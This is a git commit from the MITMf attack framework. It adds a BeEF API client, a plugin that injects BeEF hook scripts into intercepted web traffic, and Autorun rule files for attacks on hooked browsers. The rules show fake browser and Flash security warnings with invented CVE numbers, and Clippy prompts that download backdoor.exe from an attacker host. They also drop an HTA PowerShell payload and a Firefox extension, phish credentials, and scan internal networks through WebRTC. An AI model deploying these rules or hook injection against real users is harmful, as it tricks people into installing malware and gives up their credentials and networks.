Added new beefapi.py , modified beefautorun plugin: now handles hook injection + ARE autoloading

This commit is contained in:
byt3bl33d3r 2015-07-30 00:54:59 +02:00
parent 232e43325d
commit 87bca5e7dd
12 changed files with 561 additions and 259 deletions

View file

@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": ">= 7",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View file

@ -0,0 +1,3 @@
*
!.gitignore
!README

View file

@ -0,0 +1,2 @@
Move here the ARE rule files that you want to load into BeEF.
Make sure they are .json files (any other file extension is ignored).

View file

@ -0,0 +1,20 @@
{
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"browser_version": "ALL",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "Ummeneske",
"xpi_name": "Ummeneske",
"base_host": "http://172.16.45.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View file

@ -0,0 +1,28 @@
{"name": "Get Internal IP (WebRTC)",
"author": "antisnatchor",
"browser": "FF",
"browser_version": ">= 31",
"os": "Linux",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80",
"threads":"5",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0,1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View file

@ -0,0 +1,31 @@
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://172.16.45.1:3000/clippy/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}

View file

@ -0,0 +1,27 @@
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "ALL",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}

View file

@ -0,0 +1,27 @@
{
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
}

View file

@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View file

@ -6,8 +6,8 @@
# Required BeEF and Metasploit options # Required BeEF and Metasploit options
[[BeEF]] [[BeEF]]
beefip = 127.0.0.1 host = 127.0.0.1
beefport = 3000 port = 3000
user = beef user = beef
pass = beef pass = beef
@ -187,39 +187,6 @@
#Set your custom PAC script #Set your custom PAC script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
[BeEFAutorun]
#Example config for the BeefAutorun plugin
mode = oneshot
#can be set to loop, or oneshot
#in loop mode the plugin will run modules on all hooked browsers every 10 seconds
#in oneshot mode the plugin will run modules only once per hooked browser
[[ALL]] #Runs specified modules on all hooked browsers
'Man-In-The-Browser'= '{}'
[[targets]] #Runs specified modules based on OS and Browser type
[[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer
[[[[FF]]]]
'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
[[[[IE]]]]
'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
[[[Windows 7]]] #Target only Windows 7 using Chrome
[[[[C]]]]
'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
[[[Linux]]] #Target Linux platforms using Chrome
[[[[C]]]]
'Redirect Browser (Rickroll)' = '{}'
[AppCachePoison] [AppCachePoison]
# HTML5 AppCache poisioning attack # HTML5 AppCache poisioning attack
# see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack. # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack.

View file

@ -22,12 +22,9 @@
import requests import requests
import json import json
import logging
from UserList import UserList from UserList import UserList
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
class BeefAPI: class BeefAPI:
def __init__(self, opts=[]): def __init__(self, opts=[]):
@ -49,6 +46,7 @@ class BeefAPI:
self.hooks_url = "{}hooks?token={}".format(self.url, self.token) self.hooks_url = "{}hooks?token={}".format(self.url, self.token)
self.modules_url = "{}modules?token={}".format(self.url, self.token) self.modules_url = "{}modules?token={}".format(self.url, self.token)
self.logs_url = "{}logs?token={}".format(self.url, self.token) self.logs_url = "{}logs?token={}".format(self.url, self.token)
self.are_url = "{}autorun/rule/".format(self.url)
self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token)
return True return True
@ -84,6 +82,10 @@ class BeefAPI:
modules.append(Module(v, self.url, self.token)) modules.append(Module(v, self.url, self.token))
return modules return modules
@property
def are_rules(self):
return ARE_Rules(self.are_url, self.token)
class ModuleList(UserList): class ModuleList(UserList):
def __init__(self, mlist): def __init__(self, mlist):
@ -158,15 +160,65 @@ class SessionList(UserList):
res.append(s) res.append(s)
return res return res
class ARE_Rule(object):
def __init__(self, data, url, token):
self.url = url
self.token = token
for k,v in data.iteritems():
setattr(self, k, v)
self.modules = json.loads(self.modules)
def trigger(self):
r = requests.get('{}/trigger/{}?token={}'.format(self.url, self.id, self.token))
return r.json()
def delete(self):
r = requests.get('{}/delete/{}?token={}'.format(self.url, self.id, self.token))
return r.json()
class ARE_Rules(object):
def __init__(self, url, token):
self.url = url
self.token = token
def list(self):
rules = []
r = requests.get('{}/list/all?token={}'.format(self.url, self.token))
data = r.json()
if (r.status_code == 200) and (data['success']):
for rule in data['rules']:
rules.append(ARE_Rule(rule, self.url, self.token))
return rules
def add(self, rule_path):
if rule_path.endswith('.json'):
headers = {'Content-Type': 'application/json; charset=UTF-8'}
with open(rule_path, 'r') as rule:
payload = rule.read()
r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers)
return r.text #currently the returned object can't be serialized to JSON
def trigger(self, rule_id):
r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token))
return r.json()
def delete(self, rule_id):
r = requests.get('{}/delete/{}?token={}'.format(self.url, rule_id, self.token))
return r.json()
class Module(object): class Module(object):
def __init__(self, data, url, token): def __init__(self, data, url, token):
self.url = url self.url = url
self.token = token self.token = token
self.id = data['id'] for k,v in data.iteritems():
self.name = data['name'] setattr(self, k, v)
self.category = data['category']
@property @property
def options(self): def options(self):
@ -197,10 +249,8 @@ class Module(object):
class Log(object): class Log(object):
def __init__(self, log_dict): def __init__(self, log_dict):
self.id = log_dict['id'] for k,v in log_dict.iteritems():
self.date = log_dict['date'] setattr(self, k, v)
self.event = log_dict['event']
self.type = log_dict['type']
class DNS_Rule(object): class DNS_Rule(object):
@ -208,10 +258,8 @@ class DNS_Rule(object):
self.url = url self.url = url
self.token = token self.token = token
self.id = rule['id'] for k,v in rule.iteritems():
self.pattern = rule['pattern'] setattr(self, k, v)
self.type = rule['type']
self.response = rule=['response']
def delete(self): def delete(self):
r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token))

79
plugins/beefautorun.py Normal file
View file

@ -0,0 +1,79 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import os
from plugins.plugin import Plugin
from plugins.inject import Inject
from core.beefapi import BeefAPI
from mitmflib.watchdog.observers import Observer
from mitmflib.watchdog.events import FileSystemEventHandler
class BeefAutorun(Inject, Plugin):
name = "BeEFAutoloader"
optname = "beefauto"
desc = "Injects BeEF hooks & manages BeEF's ARE rule loading"
version = "0.4"
def initialize(self, options):
self.options = options
self.ip_address = options.ip
beefconfig = self.config['MITMf']['BeEF']
Inject.initialize(self, options)
self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port'])
beefconfig = self.config['MITMf']['BeEF']
from core.utils import shutdown
beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']})
if not beef.login(beefconfig['user'], beefconfig['pass']):
shutdown("[BeEFAutorun] Error logging in to BeEF!")
self.tree_info.append('Starting RuleWatcher')
RuleWatcher(beef, self.log).start()
def options(self, options):
pass
class RuleWatcher(FileSystemEventHandler):
def __init__(self, beef, logger):
FileSystemEventHandler.__init__(self)
self.beef = beef
self.log = logger
def on_modified(self, event):
self.log.debug('Detected ARE rule change!')
for rule in self.beef.are_rules.list():
self.log.debug('Deleting rule id: {} name: {}'.format(rule.id, rule.name))
rule.delete()
if event.src_path.endswith('.json'):
self.log.debug('Detected ARE rule modification/addition!')
for rule in os.listdir('./config/beef_arerules/enabled'):
if rule.endswith('.json'):
rule_path = './config/beef_arerules/enabled/' + rule
self.log.debug('Adding rule {}'.format(rule_path))
self.beef.are_rules.add(rule_path)
def start(self):
observer = Observer()
observer.schedule(self, path='./config/beef_arerules/enabled', recursive=False)
observer.start()